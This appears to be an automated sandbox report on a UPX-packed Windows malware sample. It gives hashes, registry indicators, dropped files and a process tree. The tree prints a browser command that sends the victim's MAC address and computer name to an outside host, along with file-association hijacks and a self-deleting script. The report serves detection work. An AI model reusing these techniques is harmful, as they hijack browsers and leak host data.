af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372

Analysis

max time kernel
131s
max time network
185s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
04/12/2022, 09:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe
Size

30KB
MD5

04cc5225beb0b03bc052167e3c435dac
SHA1

14c6851521168e856d53737cbda6300dac264c84
SHA256

af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372
SHA512

0d0017c50cbfc95caefc8b7287f234917a5da1575edca73003794464e975dca66e03be8ee4ba4e8dab7ef025018639577a5f94412d6f4a025f0e2378a0365c4a
SSDEEP

768:cInEXNC2q64k1b67RHTSydVmTwKDfefY5n76:HEXN7J4QuRLVmTXeA5O

Score

8^/10

upx

Malware Config

Signatures

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1788-56-0x0000000000400000-0x000000000042A000-memory.dmp	upx
behavioral1/memory/1788-65-0x0000000000400000-0x000000000042A000-memory.dmp	upx
behavioral1/memory/1788-67-0x0000000000400000-0x000000000042A000-memory.dmp	upx

Deletes itself 1 IoCs

pid	Process
1688	wscript.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\winrar\ggzhcecrz.edbru	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe
File created	\??\c:\program files\winrar\ggzhcecrz.edbru	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe
File created	\??\c:\program files\winrar\READ.TXT	WScript.exe
File created	C:\Program Files\Common Files\tk.reg	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\My.ini	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 40 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Local Page = "c:\\about blank.htm"	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50ffddd7970ad901	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d9a02323525e6c4facb9370bcc4ace3000000000020000000000106600000001000020000000fbfc64afd300e511275bd6ea7c9379b6abafe1795d70551514ccf50ec5fee2d7000000000e8000000002000020000000ffeecd38340b3eac3138658385a3aa2c9ba2223b2e3305c85271c79cc4906f3190000000ed9c65dc504ed1ae980846fdb84636bf41dcb8d4aa637acdc2566f1c688e9014ed3c0f141e4be86da5c7c1fadadeff073dadfa77cfddcab96ac70b18ea9ebb2cb3fc0ea097fc3e0edad93ce802f8fb8a73ed769cefb9ac79ab13f6a9f68187e5a2529fad6a4cb97e442adbfc80a33a638df29914f1fe253742850aa2cd3bc793cfc24049bf33c180272d1a3928baec7740000000fb99180c0b8759d4854ea212b7390fdc6caeab5cc951a0bf14d2022f4e81c46ae4394f70318be44ec2ace77dc2ce0a49e26c175198dbd8efa5102d0c41004b62	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "377222479"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Start Page Redirect Cache = "c:\\about blank.htm"	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d9a02323525e6c4facb9370bcc4ace3000000000020000000000106600000001000020000000d6e571ad3a1575c48b51b93f5d5b9a4824e42a9dce17c5de2e3611a8b124c125000000000e8000000002000020000000de2e51cb705bf6ed98ea7bf14324b366456982f6c4316442a603b73380d52dc220000000d4e0d7f1bb5f15b76e3c31d9309a48e7fe3bbae45a2efd2c85d420953d61413c40000000cbefbe993b91300ebf01b10ae3152ae8dc50c73b6e1d9ed7ac3609eb876937df42af7599ebdb866596422de4416d695dbef1c80c032bf4a708700b96321a7db6	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Search Page = "c:\\about blank.htm"	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{FE4952C1-768A-11ED-8716-EAF6071D98F9} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe

Modifies Internet Explorer start page 1 TTPs 1 IoCs

stealer

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "c:\\about blank.htm"	WScript.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shellex	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ShellFolder	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ShellFolder	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ShellEx	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shell	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Open(&O)\Command\ = "\"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE\" c:\\about blank.htm"	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Ink	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\NeverShowExt\	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\ContextMenuHandlers	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE"	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Property(&R)\Command\ = "Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.edbru	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ScriptEngine	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Open2\Command	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shell\ = "open"	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shellex\ContextMenuHandlers	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\qcfile\ = "Shortcuts"	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\qcfile\shellex\ContextMenuHandlers	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\ContextMenuHandlers\	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ = "Internet Explorer"	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\qcfile\shell	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\qcfile	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Open(&O)\ = "Open(&H)"	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\DropHandler\ = "{e96f0e95-227e-4cc1-8f1e-2b0c01b1f080}"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\ = "JScript Script File"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\NeverShowExt	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.edbru\ = "tkfile"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\DefaultIcon\ = "%SystemRoot%\\SysWow64\\url.dll,0"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\DefaultIcon\ = "C:\\Windows\\SysWow64\\WScript.exe,3"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\ = "Open"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Property(&R)\Command\ = "Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\CLSID	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Open\Command	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell	regedit.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ShellFolder\Property = "10"	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\DefaultIcon	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ShellEx\PropertySheetHandlers	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\FriendlyTypeName = "@%SystemRoot%\\System32\\wshext.dll,-4804"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\DefaultIcon\ = "%SystemRoot%\\SysWow64\\url.dll,0"	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ShellFolder\Property = "10"	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\open\command\ = "WScript.exe"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\PropertySheetHandlers\WSHProps\ = "{e96f0e95-227e-4cc1-8f1e-2b0c01b1f080}"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\CLSID\ = "{FBF23B40-E3F0-101B-8488-00AA003E56F8}"	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Property(&R)	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\ScriptEngine\ = "JScript"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\Edit\Command\ = "C:\\Windows\\SysWow64\\Notepad.exe %1"	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Open2	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shell\open\command\ = "WScript.exe \"c:\\program files\\winrar\\ggzhcecrz.edbru\" \"%1\""	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\ = "Internet Explorer"	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE"	WScript.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Wow6432Node\CLSID\{BB4491A2-D11A-4c6b-91C0-B53246A3122B}\Shell\Property(&R)\	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tkFile	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\Open2\ = "Open &with Command Prompt"	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Ink\ = "Inkfile"	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shell\open\command	WScript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shellex\IconHandler	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Inkfile\shellex\IconHandler\ = "{FBF23B40-E3F0-101B-8488-00AA003E56F8}"	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.qc\ = "qcfile"	WScript.exe

Runs .reg file with regedit 1 IoCs

pid	Process
976	regedit.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1556	iexplore.exe
1556	iexplore.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe
1556	iexplore.exe
1556	iexplore.exe
1208	IEXPLORE.EXE
1208	IEXPLORE.EXE
1208	IEXPLORE.EXE
1208	IEXPLORE.EXE
1556	iexplore.exe
1556	iexplore.exe
1192	IEXPLORE.EXE
1192	IEXPLORE.EXE
1192	IEXPLORE.EXE
1192	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 1788 wrote to memory of 1456	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	28
PID 1788 wrote to memory of 1456	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	28
PID 1788 wrote to memory of 1456	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	28
PID 1788 wrote to memory of 1456	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	28
PID 1456 wrote to memory of 976	1456	cmd.exe	30
PID 1456 wrote to memory of 976	1456	cmd.exe	30
PID 1456 wrote to memory of 976	1456	cmd.exe	30
PID 1456 wrote to memory of 976	1456	cmd.exe	30
PID 1788 wrote to memory of 1472	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	32
PID 1788 wrote to memory of 1472	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	32
PID 1788 wrote to memory of 1472	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	32
PID 1788 wrote to memory of 1472	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	32
PID 1472 wrote to memory of 1556	1472	WScript.exe	33
PID 1472 wrote to memory of 1556	1472	WScript.exe	33
PID 1472 wrote to memory of 1556	1472	WScript.exe	33
PID 1472 wrote to memory of 1556	1472	WScript.exe	33
PID 1556 wrote to memory of 1208	1556	iexplore.exe	36
PID 1556 wrote to memory of 1208	1556	iexplore.exe	36
PID 1556 wrote to memory of 1208	1556	iexplore.exe	36
PID 1556 wrote to memory of 1208	1556	iexplore.exe	36
PID 1788 wrote to memory of 1016	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	39
PID 1788 wrote to memory of 1016	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	39
PID 1788 wrote to memory of 1016	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	39
PID 1788 wrote to memory of 1016	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	39
PID 1556 wrote to memory of 1192	1556	iexplore.exe	40
PID 1556 wrote to memory of 1192	1556	iexplore.exe	40
PID 1556 wrote to memory of 1192	1556	iexplore.exe	40
PID 1556 wrote to memory of 1192	1556	iexplore.exe	40
PID 1788 wrote to memory of 1688	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	41
PID 1788 wrote to memory of 1688	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	41
PID 1788 wrote to memory of 1688	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	41
PID 1788 wrote to memory of 1688	1788	af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe	41

C:\Users\Admin\AppData\Local\Temp\af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe
"C:\Users\Admin\AppData\Local\Temp\af9ce078f5ba3fc4cb8942c51bcb81dc22fe8d77e41327c89f598db1d1734372.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1788
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c regedit /s "C:\Program Files\Common Files\tk.reg"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\SysWOW64\regedit.exe
    regedit /s "C:\Program Files\Common Files\tk.reg"
    3⤵
    - Modifies registry class
    - Runs .reg file with regedit
    PID:976
- C:\Windows\SysWow64\WScript.exe
  "C:\Windows\SysWow64\WScript.exe" "C:\program files\winrar\ggzhcecrz.edbru"
  2⤵
  - Drops file in Program Files directory
  - Modifies Internet Explorer settings
  - Modifies Internet Explorer start page
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://www.58lala.com/?bymf
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1556
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1556 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1208
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1556 CREDAT:275470 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1192
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://www1.4728.net/setuptj.asp?a_ip=&a_mac=EA:F6:07:1D:98:F9&a_cpname=GRXNNIIE&a_user=bymf&a_locip=0.0.0.0
  2⤵
  PID:1016
- \??\c:\windows\SysWOW64\wscript.exe
  c:\windows\system32\wscript.exe C:\Users\Admin\AppData\Local\Temp\Killme.vbs
  2⤵
  - Deletes itself
  PID:1688

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Common Files\tk.reg

Filesize
2KB

MD5
bd36321aa07319a35f12fc3873cd9234

SHA1
937a72f3876fb16262db99d958b175df4078ee2c

SHA256
293b834119734c8d694fb5ecfd56aa69a5cabb526dbf376a9a99c33ad3c45065

SHA512
b6a0930c4ef2be2f12b19ac53181b545996b71118fce9edfd91dd0c84aec863299add5450114a4fe6c639796e1c86de10389d73e45254700577da02fd5c1b042

Download Submit
C:\Users\Admin\AppData\Local\Temp\Killme.vbs

Filesize
213B

MD5
89a5eb009655f63a6029e151d0897d45

SHA1
10b483443db34d04df59f225caf1d5b059728372

SHA256
eb84f76a2afcf0bad5be9825a1c58de74b74809b82f1f33a889de6983f1ca306

SHA512
7e1d0845d5bdc8b4fe81e701c055c46e22816d55328811ce22cf34aa5b30819a3878e00223f71e5dfd062269419a7f32bab010e5672b861ab5e440f706476e4b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\W1K0IE77.txt

Filesize
603B

MD5
e957966fa96ac9623329cb3f586afbbe

SHA1
13e4a4085be87b62194e2800aeb8024a8e8e27b4

SHA256
e1475c8da3c17afbdaf7c06d8ff61aa59fe0e48de852aa6428476f85e35fb843

SHA512
0089c8bd2c98c105afd89fe04e42ad2e50bd16ced9236075456eb8734583bd02b0bb260653e562e015e9a217bd5c793853f0caf4756dcb6f815c5c8302488921

Download Submit
C:\program files\winrar\ggzhcecrz.edbru

Filesize
43KB

MD5
4204f5d4ac4ee5d17f6413f04ad13fdf

SHA1
eb5c61f98033b7bd3a9f6b2c19aa5be4ce85dab9

SHA256
d1e79a781f725784d375184fa55aeb3c44a6ca0c21604b8e2755fa448b7df2da

SHA512
06677bdd728cb856e515ba227277ba15d1061d62aabd128c8c9a8dacae1b56d72e28e61bf5342527534782c159957178108d114cfcc089c0eb7adec6ee8bfbf2

Download Submit
memory/976-59-0x0000000075B11000-0x0000000075B13000-memory.dmp

Filesize
8KB

Download
memory/1788-56-0x0000000000400000-0x000000000042A000-memory.dmp

Filesize
168KB

Download
memory/1788-65-0x0000000000400000-0x000000000042A000-memory.dmp

Filesize
168KB

Download
memory/1788-67-0x0000000000400000-0x000000000042A000-memory.dmp

Filesize
168KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads